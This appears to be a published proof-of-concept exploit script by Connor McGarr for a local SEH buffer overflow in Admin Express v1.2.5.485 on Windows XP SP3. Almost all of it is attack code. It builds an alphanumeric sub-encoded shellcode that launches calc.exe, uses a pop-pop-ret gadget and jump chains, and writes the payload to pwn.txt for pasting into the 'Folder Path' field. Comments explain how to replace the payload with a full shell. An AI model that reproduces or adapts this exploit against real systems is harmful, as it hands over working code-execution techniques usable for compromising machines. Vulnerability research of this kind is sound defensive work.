# Title: Admin Express v1.2.5.485 'Folder Path' Local SEH Alphanumeric Encoded Buffer Overflow# Date: May 6th, 2019# Author: Connor McGarr (https://connormcgarr.github.io)# Vendor Homepage: https://admin-express.en.softonic.com/# Software Link: https://admin-express.en.softonic.com/download# Version v1.2.5.485# Tested on: Windows XP SP3 EN# TO RUN:# 1. Run python script# 2. Copy contents of pwn.txt# 3. Open Admin Express# 4. Select System Compare# 5. Paste contents into the left-hand side Folder Path field# 6. Click the scale icon in the middle of the screen, under the Services and Running Processes tabs# This got a bit hairy. We manually encoded our shellcode and had to use the sub method for encoding each line of payload.# 05 was a bad character for us, which is an add eax opcode. We could use (in hex) 1-4,6,10-7E. This was an odd character set.# Can replace with a shell, if you are willing to do the encoding and decoding math Too preoccupied for now, so here is calc.exe# You would need to use logical AND plus the sub eax opcodes to get a value on the stack that could jump back to the A buffer, where there is# much more room. Then you would need to align the stack with the stack pointer value you need (not 0x012F3F4 as used below) and write to the stack upwards.# You should have enough room for all of the logical AND plus sub eax commands to get a full-sized shell payload on the stack.# calc.exe shellcode:# "\x31\xc9\x51\x68"# "\x63\x61\x6c\x63"# "\x54\xB8\xc7\x93"# "\xc2\x77\xff\xd0"# For zeroing out registers before manual shellcode
zero = "\x25\x01\x01\x01\x01"# and eax, 0x01010101
zero +="\x25\x10\x10\x10\x10"# and eax, 0x10101010# We need to save the current stack pointer before execution of shellcode, due to# old stack pointer value needed when executing our payload of calc.exe. This puts the current stack pointer 0x0012DC98 into ECX, to be used later
restore = "\x54"# push esp; (pushing the current value of ESP, which needs to be restored later, onto the stack)
restore +="\x59"# pop ecx; (holding the value of old ESP in ECX, to be called later.)
restore +="\x51"# push ecx; (to get the value on the stack for the mov esp command later)# Stack alignment# Need to make ESP 0x012F3F4. Using sub method to write that value onto the stack.# After making ESP 0x012F3F4, it should be the same value as EAX- so we can write up the stack.
alignment = "\x54"# push esp
alignment +="\x58"# pop eax; (puts the value of ESP into EAX)# Write these 3 sub values in normal format, since memory address, not instruction to be executed. You do not have to do# it this way, but I do my calculations in normal format to remind me it is a memory address, when doing hex max. For my# other operations, I used little endian. If you do all of the calculations in one way, you do not need to flip the sub # math difference results. This is how I keep things straight# 384D5555 364D5555 364E5555
alignment +="\x2d\x38\x4d\x55\x55"# sub eax, 0x384D5555
alignment +="\x2d\x36\x4d\x55\x55"# sub eax, 0x364D5555
alignment +="\x2d\x36\x4e\x55\x55"# sub eax, 0x364E5555
alignment +="\x50"# push eax
alignment +="\x5c"# pop esp; (puts the value of eax back into esp)# calc.exe shellcode, via the sub method. Values needed are as followed. Reference the calc.exe shellcode line for line numbers.# 1st line = 2C552D14 01552D14 01562E16
shellcode = zero
shellcode +="\x2d\x14\x2d\x55\x2c"# sub eax, 0x2C552D14
shellcode +="\x2d\x14\x2d\x55\x01"# sub eax, 0x01562D14
shellcode +="\x2d\x16\x2e\x56\x01"# sub eax, 0x01562E16
shellcode +="\x50"# push eax; (get the value on the stack). We will do this for all remaining steps like this one.# 2nd line = 24121729 24121739 2414194A
shellcode += zero
shellcode +="\x2d\x29\x17\x12\x24"# sub eax, 0x24121729
shellcode +="\x2d\x39\x17\x12\x24"# sub eax, 0x24121739
shellcode +="\x2d\x4a\x19\x14\x24"# sub eax, 0x2414194A (was 40 at the end, but a miscalc happened. Changed to 4A)
shellcode +="\x50"# push eax# 3rd line = 34313635 34313434 34313434
shellcode += zero
shellcode +="\x2d\x35\x36\x31\x34"# sub eax, 0x34313635
shellcode +="\x2d\x34\x34\x31\x34"# sub eax, 0x34313434
shellcode +="\x2d\x34\x34\x31\x34"# sub eax, 0x34313434
shellcode +="\x50"# push eax# 4th line = 323A1245 323A1245 333A1245
shellcode += zero
shellcode +="\x2d\x45\x12\x3a\x32"# sub eax, 0x323A1245
shellcode +="\x2d\x45\x12\x3a\x32"# sub eax, 0x323A1245
shellcode +="\x2d\x45\x12\x3a\x33"# sub eax, 0x333A1245
shellcode +="\x50"# push eax# We need to restore the old ESP value of 0x0012DC98 to spawn calc.exe. Since it is a syscall,# we need the ESP value before execution. We will do this by performing MOV ECX, ESP (remember ECX contains old ESP!).# Here are the 3 values: 403F2711 3F3F2711 3F3F2811move = zero
move+="\x2d\x40\x3f\x27\x11"# sub eax, 0x403F2711move+="\x2d\x3f\x3f\x27\x11"# sub eax, 0x3F3F2711move+="\x2d\x3f\x3f\x28\x11"# sub eax, 0x3F3F2811move+="\x50"# push eax# All together now.
payload = "\x41"* 4260
payload +="\x70\x7e\x71\x7e"# JO 126 bytes. If jump fails, default to JNO 126 bytes
payload +="\x42\x4c\x01\x10"# 0x10014c42 pop pop ret wmiwrap.DLL# There are 2 NULL (\x00) terminators in our buffer of A's, near our nSEH jump. We are going to jump far away from them# so we have enough room for our shellcode and to decode.
payload +="\x41"* 122 # add padding since we jumped 7e hex bytes (126 bytes) above
payload +="\x70\x7e\x71\x7e"# JO or JNO another 126 bytes, so shellcode can decode
payload +="\x41"* 124
payload +="\x70\x7e\x71\x7e"# JO or JNO another 126 bytes, so shellcode can decode
payload +="\x41"* 124
payload +="\x70\x79\x71\x79"# JO or JNO only 121 bytes
payload +="\x41"* 121 # NOP is in the restricted characters. Using \x41 as a slide into alignment
payload += restore
payload += alignment
payload += shellcode
payload +=move
payload +="\x43"*(5000-len(payload))
f = open('pwn.txt','w')
f.write(payload)
f.close()